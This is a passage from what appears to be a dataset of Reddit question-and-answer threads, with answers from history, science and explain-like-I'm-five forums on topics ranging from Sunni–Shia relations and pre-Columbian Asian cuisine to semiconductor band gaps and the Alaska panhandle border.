nomads into settled land.\n\nThere was nothing in the Arab world to mirror the widespread destruction of European conflicts like the Wars of Religion in France, the Thirty Years War in Central Europe, or the Khmelnytsky Rebellion and Deluge in Eastern Europe. Arabs were also not generally conscripted into Ottoman armies (when they were it was as non-combatants) and were free to live essentially peaceful lives.\nThese generalizations hold somewhat less true for what's now Turkey, Iran, and the Caucasus, where the Ottoman-Safavid conflict from 1514-1639 was more impactful. Socio-economic and political conditions also created a certain degree of anarchy in 17th-century Anatolia and 18th-century Iran, which involved plenty of violence. But one would only need to glance at other regions of the globe to see that this was hardly abnormal.\n\nNow, as for the supposed \u201ceternal hatred\u201d of Sunnis and Shi\u2019ites, which is probably the most common trope in this genre. Before the emergence of Safavid Iran in 1501, the line between Sunni Islam and Shi\u2019ite Islam was a blurry one. In practice, both religions were generally accommodating of one another. For instance, the attribution of special religious significance to Ali and the descendants the Prophet Muhammad, which is a core part of Shi\u2019ite belief, was practiced by many Sunnis as well, particularly in regions like Anatolia, Iran, and Central Asia where the authority of Sunni scholars educated in the central Arab lands was weaker. While religious scholars of course maintained a distinction between their various sects, neither the common people nor their governments were particularly concerned with imposing orthodoxy or rooting out heresy in the couple centuries before 1500. During the sixteenth century, due to the rise of the Safavid Empire, a process began which some historians call \u201cconfessionalization\u201d (a term normally used with regard to a similar process in Protestantism and Catholicism) in which both the Ottoman and Safavid empires, working in tandem with the religions scholars, sought to define and impose an Islamic orthodoxy on their populations, creating in the process a sharper distinction between Sunni and Shi\u2019ite practice than had existed before.\n\nThe rise of the Safavids was accompanied by a great deal of violence. They had a radical messianic ideology and engaged in a campaign of forced conversion in Iran (which earned them the disapproval of Shi\u2019ite clergy, who thought conversion should be voluntary and achieved through persuasion). The Sunni population of Baghdad was slaughtered upon its conquest in 1508. The Ottomans under Selim I (r. 1512-1520) engaged in an equally ferocious campaign against the Safavids, massacring tens of thousands of \u2018heretics\u2019 in Anatolia who were suspected of Safavid sympathies. So in the sixteenth century, there certainly was Sunni-Shi\u2019ite conflict in the Middle East. But it didn\u2019t last, the antagonism wasn\u2019t eternal. The Ottomans and Safavids signed a permanent peace treaty in 1639, which brought the religious wars to an end \u2013 though by then they had long since been more about imperial geopolitical conflict rather than religion per se. In the eighteenth century, when Iran was ruled by Nader Shah, there was even talk of uniting Sunnism and Shi\u2019ism into a single religion by recognizing the Shi\u2019ite Jafari law school as a fifth school of Sunni law. It was never carried out, but the fact that such a thing could even be seriously proposed demonstrates the degree to which Sunnis and Shi\u2019ites had come to accept one another and live side by side."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/28bxh0/iraq_looks_to_be_coming_apart_at_the_seams_and/?sort=confidence", "https://www.reddit.com/r/AskHistorians/comments/57zknh/how_accurate_is_it_to_say_that_sykespicot_borders/d8wypk2/", "https://www.reddit.com/r/AskHistorians/comments/46eefv/other_than_the_1953_coup_detat_in_iran_what_were/d04qduf/"], []]}
{"q_id": "1h7g04", "title": "What was Asian cuisine like before the Colombian exchange?", "selftext": "What kind of food did the Thai eat before they had peppers? What were Indian curries like before peppers, potatoes, and tomatoes? Was Eastern food known to be more interesting than Western before the discovery of the New World? Et cetera.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1h7g04/what_was_asian_cuisine_like_before_the_colombian/", "answers": {"a_id": ["carn714", "caroj8w", "carp09p", "carreo1", "carrs59", "cart4m2", "carun1h", "cas9777"], "score": [215, 12, 63, 5, 6, 56, 50, 3], "text": ["I'm not so sure about the Far East, but I can talk about food traditions of the western Indian Ocean, which certainly impacted the rest of Asia and even parts of Europe through trade and diffusion.\n\nSpecifically, I can talk about Swahili cuisine, which lies on the western periphery of the Indian Ocean, where many Old World spices are still grown and traded.\n\nUnlike interior African societies which depend heavily on the potato, cassava, and maize, traditional Swahili cuisine contains very few, if any, New World plants, and is probably closely related to Asian food from Arabia and India that either originated in East Africa or diffused to the region through cultural contact with Indian Ocean cultures.  Cultural contact had been ongoing at least since the first century AD, when the Periplus of the Erythraean Sea was written, though most likely this contact had existed for many centuries prior.\n\nDishes are spiced with cloves, cinnamon, cardamom, black pepper, ginger, turmeric, cumin, and coriander.  Rice is the base staple, which is usually served with a meat, traditionally fish (the coastal people of East Africa were called \"fish-eaters\" in the Periplus of the Erythraean Sea).\n\nThese spices grow on the coast of East Africa, and in other parts of the Indian Ocean, and they make up the basic ingredients of curry, which has been made for thousands of years in cultures all around the Indian Ocean.  These spices were traded as far away as Egypt, England, China, and Japan.\n\nAnother very important aspect of Indian Ocean food is the coconut.  Coconut milk (obtained by squeezing and processing the meat of a ripe coconut) is still used today as a base for curry as well as for cooking rice.\n\nFor an example of a pretty traditional Swahili dish made with minimal influence from New World plants, have a look at pilau, also known as pilaf, plov, or pilav in other parts of the world influenced by Islamic/Arabic culture, as far away from East Africa as eastern Kazakhstan: _URL_0_\n\nOf course, this recipe shows potatoes, and many pilau makers will add a salad of pepper, onion and tomato.  But the spices, and the combination of coconut milk rice with meat, are all very ancient features of Indian Ocean food.\n\n", "While I've only read portions of the book, and not the ones that deal with this issue in particular, check out *The Columbian Exchange* by Alfred Crosby.  It's one of the first major works addressing the process, and I believe it's where the term was coined, or at least entered the mainstream.  It largely focuses on how increased crop diversity had beneficial effects in feeding the population rather than detailed culinary changes, but its a fascinating book and I bet it addresses at least some of these issues.", "[It's spelled \"columbian\"](_URL_0_). Colombian refers to the country.\n", "Since no one has responded - I'm very interested in learning the history of Indian cuisine, especially because tomatoes and chili pepper play such an important role in current Indian cooking.", "About curry and Indian food - Here is an article from the Archaeological Institute of America about the origins of curry in India.  It really just links to an article on _URL_0_, but I think its generally safe to trust the AIA: _URL_1_\n\nIf anyone can find the actual journal article about this, that would be cool.", "I have this book in Chinese on food in the Tang Dynasty. It described [Emperor Xuanzong](_URL_0_)'s favorite food were lamb shank and a plate of chewy flatbread. Other food of the nobility described in the book: \n\nGrilled shrimps arranged in the shape of a lantern. \n\nHoney and lamb suet mixed with flour, dipped in black sesame and deep fried.\n\nLamb, beef, pork, bear, and deer meat all cut into fine shreds, arrange the different colored meat into patterns\n\nCrabmeat and crab roe spread onto flatbread, roll up and cut into slices\n\nMeat, lard, and egg fried into a slurry and poured over rice\n\nFish cooked in goat milk\n\nSoft shell turtles in lamb fat and duck egg yolk\n\nFrogs dipped in bean flour and deep fried\n\nStewed camel feet\n\n~~Then there are really fucked up dishes by people trying to show off their wealth such as cover an alley with red hot iron plates, put one bowl of vinegar at one end and one bowl of soy sauce at the other, force a goose to run around in the alley while walking on red hot iron plates, it will take sips of soy sauce and vinegar, eventually it will get cooked. ~~\n\nThen there's food for middle class people: \n\nDebone a goose, stuff rice and seasoning in the goose, then put the goose inside a dressed lamb. Roast the lamb over fire. \n\nTake a fish, fillet the meat, salt and dry the meat, then finely shred the meat as accompaniment for other dishes\n\nBoiled pork liver and chicken gizzard\n\n[Thinly sliced raw  and meat](_URL_1_)\n\nTie a chicken into the shape of a guard, cook until the bone disintegrates.  \n\nDeer intestines cooked in deer blood\n\nLower class food include: \n\nFill a pig stomach with starch batter seasoned with spices, boil until the batter solidifies. \n\nYeast bread made from soybean flour\n\nShepard's purse (a weed) soup\n\nMillet gruel\n\nThe book also mentioned some aristocrats make ice sculpture centerpieces for their meals. ", "South Indian here. The cuisine that I grew up with is largely rice, lentil and diary based (my parents are vegetarians). Some commonly used New-world ingredients are:\n\n* Chillies (similar to Thai chillies, smaller than Serrano peppers), quite high on capsaicin \n* Tomatoes - which along with Tamarind and Raw Mango provide the tanginess in food. Tomatoes that grow in South India are quite tangy, and not bland like the ones in the US\n* Potatoes - used in both dry and gravy side-dishes to rice\n\nIn fact, chillies and tomatoes are such an integral part of what defines South Indian cuisine that most people have forgotten that it was the Arabs and early European settlers that introduced these post 1492. \n\nHowever, my family (and several others in South India) have this traditional once-a-year festival where every family's ancestors are honoured. As part of that religious ritual, there are some special recipes that are prepared only on that day. The idea is that these dishes were our ancestors' favourite dishes, but when you look at the ingredients, you will quickly realize that these recipes are essentially a living museum of what people ate in the past (possibly going back 1000s of years). \n\n* No potatoes - Yam, Raw bananas instead\n* No tomatoes - Raw mangoes for tanginess\n* No chillies - Ginger and black pepper instead\n* In fact, no Cauliflowers, Carrots, beans either - those were introduced by the British and in fact, in many parts of India *are still* referred to as \"English Vegetables\" as opposed to genuinely locally grown vegetables\n\nThat should give you a sense for what a pre-Colombian exchange South Indian (Tamil) cuisine was like. ", "Difficult to say about all the different regional cuisines of India (like, talking about \"European\" cuisine), there are so many of them.\n\nAs for Kerala (the Malabar), South India, local spices (ginger, pepper etc) dominated with locally available vegetables. My grandmother refused to eat tomatoes  claiming it is \"came from another country\". Tamarind and buttermilk are commonly used to  provides the tanginess even now.  Most of the traditional recipes from Kerala still use these ingredients. Examples include Aviyal, Kalan  &  Olan, though some of these are now modified to include currently available ingredients like chili peppers, green beans etc. Too bad my ancestors did not get a chance to taste  South American peppers (capsicum family)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.swahilidelicacies.com/beef-pilau/"], [], ["http://www.merriam-webster.com/dictionary/columbian"], [], ["slate.com", "http://www.archaeology.org/news/487-curry-indus-farmana-turmeric-garlic"], ["https://en.wikipedia.org/wiki/Emperor_Xuanzong_of_Tang", "https://en.wikipedia.org/wiki/Kuai_%28dish%29"], [], []]}
{"q_id": "7zebua", "title": "\"Render unto Caesar the things that are Caesar's\" implies that Jesus is advocating new advice; what was accepted Jewish teaching regarding taxation at that point?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7zebua/render_unto_caesar_the_things_that_are_caesars/", "answers": {"a_id": ["dup21ht"], "score": [52], "text": ["The striking thing about this line in the Gospels isn't that it's about taxation in general; it's that it's about *Roman* taxation.\n\nBut first some background...\n\nBy the first century CE, the Jewish people had a long history of being ruled by foreign empires. The Jews came under Babylonian rule in 586 BCE, then Persian rule in 539. Once Alexander the Great swept through the region, and his empire was split up upon his death in 323, Jerusalem found itself under the Seleucid Empire.\n\nSeleucid rule was a particularly troubled period in Jewish history because of Antiochus IV Epiphanes, who outlawed Jewish religious practices during his reign (175\u2013164 BCE). The Jewish memory of his reign is found in 1 Maccabees, a text written around the late second century BCE. 1 Maccabees 1:60\u201361 can give you some idea of how bad things were for Jews:\n\n > According to the decree, they put to death the women who had their children circumcised, and their families and those who circumcised them; and they hung the infants from their mothers' necks.\n\nIn response to persecution under Antiochus IV, Judas Maccabeus led a revolt against Seleucid rule, resulting in Jewish self-rule for the first time since the sixth century. But it didn't last long. They were only independent for less than a century until Pompey took Jerusalem under Roman rule in 63 BCE.\n\nGiven this history, it's hard to overstate just how much some Jews hated being ruled by foreign empires. To give one example, the Psalms of Solomon, written in the late first century BCE, carry a characteristic disgust for Roman rule; Psalm 2:22\u201335, for instance, rejoices at Pompey's death, and psalm 17 anxiously looks forward to renewed Jewish self-rule.\n\nGiven that history, and given the natural human tendency to hate taxes, it's hardly a surprise that there was a revolt. Judas of Galilee (not to be confused with the disciple of Jesus) sought to resist a Roman census for tax purposes around 7 CE. As Josephus [tells us](_URL_0_) in book 18 of his *Antiquities*,\n\n > Moreover, Cyrenius [a Roman senator] came himself into Judea, which was now added to the province of Syria, to take an account of their substance, and to dispose of Archelaus's money; but the Jews, although at the beginning they took the report of a taxation heinously, yet did they leave off any further opposition to it, by the persuasion of Joazar, who was the son of Beethus, and high priest; so they, being over-pesuaded by Joazar's words, gave an account of their estates, without any dispute about it. Yet was there one Judas, a Gaulonite, of a city whose name was Gamala, who, taking with him Sadduc, a Pharisee, became zealous to draw them to a revolt, who both said that this taxation was no better than an introduction to slavery, and exhorted the nation to assert their liberty\n\nJosephus tells us that this Judas began the Jewish sect called the Zealots, who sought to restore Jewish self-rule by force. He blames this sect for the Jewish war against Roman rule in the late 60s CE that resulted in the destruction of Jerusalem.\n\nAll this is very much a live issue as Jesus purportedly said to render to Caesar what is Caesar's. You ask about the \"accepted Jewish teaching.\" That's a very hard thing to pin down on most issues in first century Judaism; there's a reason that it's something of a trope to talk about Judaism*s* in this period rather than a singular Judaism. The Roman taxes in particular were a contentious issue. The Jews who had a relatively warm relationship with the Romans (e.g. Herod, the Jewish king installed by Rome; the priests), were comfortable with Roman taxes; in the passage quoted above, Josephus tells us that it was a high priest who pacified Jews who were angry about this tax. But other Jews, like the Pharisees and Zealots, were quite displeased about Roman taxes; there's a reason that the Gospels depict Pharisees' disgust with tax-collectors for the Romans (e.g. Luke 5:27\u201330).\n\nThis pressure-cooker situation makes Jesus' statement all the more striking. Give to Caesar what is Caesar's, he says, pacifying the Herodians. But give to God what is God's. If Caesar is to be given that which bears Caesar's image (i.e. coins), what is to be given to God? What bears God's image? What a clever text.\n\n************\n\nThis being my first comment on /r/AskHistorians, I may be wrong, but I don't think I need to footnote every assertion I make. As I typed out this comment, I referenced the following (in addition to the primary sources I mentioned above):\n\n* *The HarperCollins Study Bible*, edited by Attridge and Meeks\n\n* *The Jewish Study Bible*, 2nd ed., edited by Adele Berlin and Marc Zvi Brettler\n\n* John J. Collins, *The Scepter and the Star: Messianism in Light of the Dead Sea Scrolls*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.perseus.tufts.edu/hopper/text?doc=J.+AJ+18.1"]]}
{"q_id": "m5021", "title": "can someone explain the difference between an indirect and direct band gap semiconductor?", "selftext": "I understant the effect (optical transition, momentum change, etc.) but I'm interested in a atomic, crystal structure based picture of why some materials have a direct band gap, and some an indirect. Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/m5021/can_someone_explain_the_difference_between_an/", "answers": {"a_id": ["c2y5i0r", "c2y5i0r"], "score": [3, 3], "text": ["The [band structure](_URL_0_) of a semiconductor is a plot of energy vs. momentum state of electrons. We call the bandgap the energy distance between the highest point in the valance band and the lowest point in the conduction band. \n\nIn silicon, these maxima and minima occur at different momentum points. This means that if a electron wants to fall from the conduction band to the valance band in addition to losing energy it must transfer momentum. This usually takes the form of phonon (lattice vibrations) assisted transitions.\n\nIn a direct bandgap semiconductor, such as GaAs, the maxima and minima are at the same momentum point. This means that if a electron falls it has a much higher probability of emitting a photon. Photons have very little momentum, so they can't assist in a indirect transition. That's why opto-electronic devices need to use direct bandgap semiconductors. This is also why we can't make a laser out of silicon.", "The [band structure](_URL_0_) of a semiconductor is a plot of energy vs. momentum state of electrons. We call the bandgap the energy distance between the highest point in the valance band and the lowest point in the conduction band. \n\nIn silicon, these maxima and minima occur at different momentum points. This means that if a electron wants to fall from the conduction band to the valance band in addition to losing energy it must transfer momentum. This usually takes the form of phonon (lattice vibrations) assisted transitions.\n\nIn a direct bandgap semiconductor, such as GaAs, the maxima and minima are at the same momentum point. This means that if a electron falls it has a much higher probability of emitting a photon. Photons have very little momentum, so they can't assist in a indirect transition. That's why opto-electronic devices need to use direct bandgap semiconductors. This is also why we can't make a laser out of silicon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://wiki.fysik.dtu.dk/gpaw/exercises/band_structure/bands.html"], ["https://wiki.fysik.dtu.dk/gpaw/exercises/band_structure/bands.html"]]}
{"q_id": "2xemkv", "title": "why don't those charities that make wigs for cancer patients simply shave the heads of people about to go through chemo and make them a wig of their own hair instead?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2xemkv/eli5_why_dont_those_charities_that_make_wigs_for/", "answers": {"a_id": ["cozg1fo", "cozgbet", "cozob44", "cozowyz", "cozpqvf", "cozri97", "cozrs7l", "cozsckk", "cozsil6", "cozsmw4", "cozt4fw", "cozv963", "cozvsgc", "cozw4y1", "cozzr28", "cp03fzq"], "score": [917, 230, 68, 138, 6, 9, 3, 2, 2, 11, 2, 3, 3, 8, 2, 3], "text": ["It takes a lot more than one head of hair to make a wig, weirdly enough.", "When wigs are made, at least two inches of the length of the hair is lost in attaching the hair to the cap, and wigs shorter than about 6\" are generally not made.  In addition, a significant portion of each hank of hair is not viable for wigmaking.\n\nThat said, there are companies that will make wigs (partially) out of your own hair, such  as _URL_0_", "People dealing with cancer need treatment quickly, and dealing with loads of tests, and the emotional impact.\nSo while possible, not high on priority list.\nMy wife just survived chemo.", "While we're on the topic YSK Locks of Love sells the hair they receive to do research on alopecia. They do not give wigs to people with cancer, they make very few wigs annually.. Pantene's program is much better.", "Need more hair for wigs and people do it to show support with hair loss", "Someone already mentioned needing more than one \"head\" of hair, but Its really expensive too!!! My SIL had a wig made of her hair before it fell out. It was close to $2k. ", "A lot of these charities are not  explicitly for cancer patients unless stated so. For example, Locks of Love seems to send a majority of their wigs to those  diagnosed with Alopecia and other conditions where hair loss is more permanent. ", "That's actually what they did for my mom when she got breast cancer.", "Because people helping people makes the world go round.", "In addition to what the other posters have said, I suspect most women are not willing to go straight to shaving their head. My mother had her second chemo session yesterday, and although she has gotten a short hair cut to mitigate how long all the hair she is/will lose will be, she was/is not ready to be bald and shave her head. She thought about it but decided that shaving it outright would be too much emotionally for her.", "My mother went through chemo so perhaps I have a different angle on the question. When my mother started losing her hair she didn't shave it till well into the chemo, so she didn't have a full head of hair at the time she would have needed her wig. Quantity seems to be the problem. ", "Most of the \"charities \" actually sell the wigs to the patients too. If you donate hair make sure its one that donates the wigs.", "My mom did the next best thing: got a wig that was the same color hair as hers (well almost; she'd gone a bit more gray at the time), took it to her stylist and had it cut and styled like her actual hair. When she lost her hair a few weeks later, no one really noticed. ", "No one seems to have said this yet, so I will.  From my experience As a kid, learning your whole life is shifting gears in an instance is huge.  You know you are going to lose your hair during the physically taxing, isolating, sick making, life you are going to live for the next year or so.  You are told the things you love doing, you are never going to be able to do again.  It's hard to face having your head shaved on top of that.  My brother offered to shave his head if I shaved mine (which was pretty great for a 14/15 year old guy to do for his little sister) but when we got the clippers out, I looked at myself in the mirror and started crying.  It was the one thing I had control over and I couldn't get rid of it before it fell out.", "1. You need long hair to make a wig. Charities usually don't accept hair shorter than 12 inches. This issue alone rules out most patients.\n\n2. The hair has to be 'good quality.' I don't know what qualifies, but I do know a great deal of donated hair isn't made into wigs. Permed and color-treated hair isn't usable for wigs for starters. Split ends have to be removed, etc.\n\n3. Wigs are made of hair from more than one person. Yes, the wig maker has to match hair from multiple donors. This is why 'hair quality' is so important.\n\n4. The hair has to be prepared/packaged in exactly the right way (how it's bundled, etc.) before it's shipped somewhere. That adds a huge layer of complexity if hospitals are providing the hair cutting service and hair submissions have to be tracked by the charity based on the sender's identity so that the wig with the correct hair gets back to the correct person.\n\n5. It's expensive to make a wig, which is why charities handle it. Many charities are specifically geared toward serving children, and sometimes geared to specific causes of baldness (which aren't necessarily chemo-related... [alopecia areata](_URL_0_) for example).\n", "Chemo survivor here.  Your hair doesn't start falling out until week 3 of Chemo (at least mine didn't .). Then it doesn't all fall out at once..... It starts kinda falling out in \"chunks.\" That's when I decided to just shave it because it looked horrible..... More important things to worry about than what to do when your hair falls out....\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.caringandcomfort.com/"], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.webmd.com/skin-problems-and-treatments/hair-loss/tc/alopecia-areata-topic-overview"], []]}
{"q_id": "3fbekq", "title": "why is having cat(s) associated with growing old lonely?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3fbekq/eli5_why_is_having_cats_associated_with_growing/", "answers": {"a_id": ["ctn1io9", "ctn27w3", "ctn6j74", "ctncjug"], "score": [18, 4, 2, 2], "text": ["Some people replace human companionship with that of an animal.  Cats largely take care of themselves, so theres very little work, so its good for old people.  ", "You have to walk dogs. Cats are pretty self sufficient. It's easier to have a cat than a dog if your mobility is impaired.", "Having a dog, on the other hand, doesn't bring these kind of associations. Maybe because dogs are considered more as a social animals and are stereotypically a pet for a family.  ", "There seems to be a phenomenon across cultures of old single people hoarding cats.  You see \"Crazy Cat Ladies\" in America, Japan, [Russia](_URL_2_) , basically everywhere.\n\n[There's a theory that the brain-affecting parasite that causes Toxoplasmosis is at the root of the Crazy Cat Lady phenomenon.](_URL_1_)\n\nSo if we may speculate a bit, perhaps we could suggest that the parasite has evolved a fantastic means of self-propagation by modifying the behavior of its hosts.  The parasite infects a cat, which in turn infects its human owner.  The human's brain is changed in such a way that it seeks out more cats.  They then hoard a ton of cats in a small enclosed place, allowing all of the cats to become infected.  Those cats eventually escape, especially when the human host dies, and infect new cats and new humans.  The cycle continues.\n\nSounds far-fetched?  [Consider that the very same parasite infects rats.  It makes them fearless of cats, and even causes them to seek out cat urine.  The brave but foolhardy rats are then eaten by cats, passing the parasite on to the cat.](_URL_0_)\n\nSo TL;DR, parasitic brain worms turn people into insane cat hoarding zombies.  Maybe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://phenomena.nationalgeographic.com/2013/04/26/mind-bending-parasite-permanently-quells-cat-fear-in-mice/", "https://en.wikipedia.org/wiki/Toxoplasmosis#.22Crazy_cat-lady_syndrome.22", "https://www.youtube.com/watch?v=7WoFyN1R-1g"]]}
{"q_id": "acala5", "title": "How are Tim Pat Coogan's books on the IRA and Michael Collins regarded by historians?", "selftext": "I have seen some praise and some criticism of his works on Ireland. I was wondering how highly regarded \"The IRA\" and \"Michael Collins: A Biography\" are. Are they considered very biased, or are they trustworthy sources on the period/man?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/acala5/how_are_tim_pat_coogans_books_on_the_ira_and/", "answers": {"a_id": ["edap5hc"], "score": [2], "text": ["Speaking from experience as an Irish historian who is occasionally forced to lecture in this period, I always recommend my students read beyond TP Coogan as, generally speaking, his works are indeed considered biased. In fact, his book on the Famine is generally viewed as something of a joke, which says a lot about some of his other work!  \n\n\nI would suggest Anne Dolan, Peter Hart (another contentious character, whose sourcing has been the subject of much debate) and Diarmad Ferriter for a more complete overview of the early IRA and Collins. I would then follow their footnotes and read the sources they cite, and you'll be able to build a comprehensive picture of 20th century Ireland.\n\n & #x200B;\n\nHope this helps!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9ncnsk", "title": "the music modernization act", "selftext": "Can someone please explain to me why this might be a good thing? The conspiracy theorist in me believes that its almost a scheme for the music industry (not the musicians) to take more money from streaming. It seems like any musician that does lobby for it is signed a to major and it makes me question the motives of getting this passed. But idk... The vague explanations that i've been seeing kind of rub me the wrong way as a musician.\n\n & #x200B;\n\nEdit: I'm also a producer with music industry placements. So I'm interested in knowing how this has that kind of effect.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ncnsk/eli5_the_music_modernization_act/", "answers": {"a_id": ["e7lmkk7"], "score": [2], "text": ["From what I understand, it's primarily about Writers/Publishers actually getting paid properly by streaming services. Overall it's not much of a win for the big industry types, since writers tend to keep their share of rights and publishing can be as simple as taking \"the publishers\" share if you're BMI. \n\nAlso establishes a central database to allow for streamlining the obtaining of mechanical licenses, paid for by the streaming services.\n\nThis might help:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.theverge.com/2018/10/11/17963804/music-modernization-act-mma-copyright-law-bill-labels-congress"]]}
{"q_id": "1cmfay", "title": "If two siblings have a kid, as a product of incest, is that kid genetically a son of the grandparents as well? Is it also genetically a sibling of its parents?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1cmfay/if_two_siblings_have_a_kid_as_a_product_of_incest/", "answers": {"a_id": ["c9hw39f", "c9hz8jn", "c9i9nte"], "score": [17, 130, 3], "text": ["If we ignore chromosomes etc. and just assume an even mixing of all genes involved (more like mixing paints than biology; I don't know what the name of this model is), then, of the DNA that the two grandparents do not share with each other, they would share 50% each with their children and their grandchild. The child would also share 50% of its DNA with each of its parents. So yes, the kid is as related to its grandparents as normal children are to their parents, or their siblings.\n\nMy back-of-the-envelope calculations also suggest that the grandchild would be 25% related to itself - meaning that if you compared each pair of chromosomes, you'd find that 25% of its genes were identical to their counterparts on the other chromosome. If one of these carries a recessive disease that is harmless as long as it only appears once... well, that's why incest is bad.", "While on average, the grandchild would share 50% of its genes with each grandparent, the distribution of those genes would look quite different from the grandchildren than for the children.\n\nLet's refer to the genes from the male grandparent as M and from the female grandparent as F.\n\nFor the children, all the genes will be (MF) -- one copy from M and one copy from F.\n\nFor the grandchildren, something different will happen.  The siblings are combining, at each gene spot, an (MF) and an (MF).  Assuming the pairings are randomly distributed, this means that the genes in the grandchildren will be distributed as follows: 1/4 of them will be (MM), 1/4 of them will be (FF), and 1/2 of them will be (MF)  [coming from either an MF or an FM pairing].  Also, when you have something like MM or FF, it doesn't necessarily mean both genes are the same -- just that both come from the same grandparent.  (So if the grandmother has a spot with genes {Aa}, and that spot is (FF) in the grandchild, it could be {Aa}, {aA}, {AA}, or {aa}.)\n\nThus, based on overall percentage of DNA, both the children and grandchildren will be 50% M and 50% F, but the way that is achieved is quite different.\n\nNote, of course, that we are talking only about that piece of the genome that varies; the vast bulk of the human genome is the same from person to person.  Also, this leaves out the mitochondrial DNA; here, everyone but the male grandfather will have the same mitochondrial DNA, since that is inherited exclusively from the mother.", "Also, you inherit a copy of each chromosome from each parent, but the chromosome is NOT identical to your parent's due to \"crossing over\" during Meiosis I. The grandchild's chromosomes would have \"crossed over\" regions  that don't map on to a F1 offspring.\n\nThis is an expansion on the actual origination of each chromosome as described by u/fishify , which means even if the allele distribution were to be identical to the grandparent, the actual sequence in the allele will be difference."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "48hf3l", "title": "There have been a few news articles written in the past 24 hours regarding a sudden increase in carbon monoxide on the west coast, but I can't find any reputable sources. Is this accurate, and if so, does it lend credence to a potential Earthquake?", "selftext": "These articles seem alarmist in nature (especially as they label it a \"carbon monoxide explosion\"), but the logic seems sound. [Example article](_URL_0_)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/48hf3l/there_have_been_a_few_news_articles_written_in/", "answers": {"a_id": ["d0jlrer", "d0k7tmr", "d0kaai1"], "score": [109, 13, 3], "text": ["I honestly don't know, and you aren't the first to ask today.\n\nI never heard of such a thing but it certainly sounds like a topic worthy of discussion, if true.\n\nThe articles seem to emanate from _URL_1_ which monitors GEOS-5 data. [The data projection is here.](_URL_2_)\n\n\nI found this [preliminary discussion of the phenomenon](_URL_0_) which sort of \u00e9liminates wildfires and human sources and suggests it is either a geological process or a glitch.\n\nI'll stay tuned and see where this goes...", "To address the earthquake part of this question, most articles have been citing a research paper [[Singh et al., 2010](_URL_1_)] from Applied Geochemistry (H-Index of 88) that you can get access to through _URL_0_ if you so desire. To summarize it briefly, there was a magnitude 7.6 earthquake in India that occurred on 26 January 2001 and killed nearly 20,000 people, and this article points to observations of a peak then drop in land surface temperature and carbon monoxide levels in the days leading up to the mainshock. The article is not of the highest caliber, as you can see from the poorly copied Figure 1 a) that features a pretty neat sports utility car off-roading it over a fault with fun lightning bolts coming out of it. Looking at Figure 3 and 4, you can see that the peak and subsequent fall in temperature before the earthquake is not altogether out of the ordinary when looking at the rest of the year of data that they show. That makes me wonder what a full year of data would look like for the CO volumes in Figure 5. Even if you are intrigued by this peak, this is one large earthquake in a convergent tectonic setting. It is not an indicator for large earthquakes on every fault, such as the transverse San Andreas Fault of California.\n\nOn a side note, I'm glad that people like Ramesh Singh are on watch for signals like this in case they can collect enough reliable observations and physical evidence to support an early warning precursor, most likely only in particular areas. But to those over at Daily Kos who had capitalized on fear for traffic before the spike in CO had been confirmed by other sources... you guys suck. ", "The USGS has been tweeting all day that this is explicitly not indicative of an earthquake. I'm not very knowledgeable about this, but I would look at the USGS website since they seem to have a handle on what's going on."]}, "title_urls": [], "selftext_urls": ["http://www.dailykos.com/story/2016/2/29/1493107/--There-is-a-Major-Carbon-Monoxide-Explosion-on-the-West-Coast"], "answers_urls": [["http://robertscribbler.com/2016/02/29/carbon-monoxide-spikes-to-34000-parts-per-billion-over-california-on-february-26-what-the-heck-is-going-on/", "Earth.nullschool.net", "http://earth.nullschool.net/#2016/02/27/0000Z/chem/surface/level/overlay=cosc/orthographic=-96.94,45.87,1024/loc=-116.893,56.278"], ["sci-hub.io", "http://www.sciencedirect.com/science/article/pii/S0883292710000338"], []]}
{"q_id": "8obj8j", "title": "Why is the \"Panhandle\" of Alaska not part of Canada's territory?", "selftext": "Maybe the answer is really obvious but I want a simple explanation", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8obj8j/why_is_the_panhandle_of_alaska_not_part_of/", "answers": {"a_id": ["e02thzi"], "score": [72], "text": ["The border is related to early exploration  &  colonization by Europeans and the 1825 Treaty of St. Petersburg between Russia and Britain.\n\nIn the late 1700s, Russian, British, and Spanish explorers began sailing to what is now the coasts of Alaska, British Columbia, Washington, and Oregon. Russian explorers reached as far south as British Columbia where they were met by the Spanish. British Captain Cook later sailed as far north as Cook Inlet at present-day Alaska, but found a Russian presence already established. These early explorers were trading with aboriginals but also hunting for themselves the local fur-bearing sea mammals. There were no proclaimed territories as of yet, and the British later described the situation: \n > The events of 1787-88 must have been puzzling to the natives of Prince William Sound. Englishmen under the English flag, Englishmen under the Portuguese flag, Spaniards and Russians, were cruizing about, often within a few miles of each other, taking possession, for one nation or the other, of all the land in sight.\n\nIn 1799, the Russia-America Company was formed with the consolidation of several fur trade companies and was tasked by the Tsar with colonization and fur trade in Russian America. Russian America was proclaimed, by the Tsar, as all lands of America extending to the 55th parallel. However, over-hunting led the Russians to search for new resources in minerals, timber, and land mammals in the early 1800s. Their presence extended to northern California, and they even attempted to establish a presence on the Hawaiian Islands.\n\nAnother 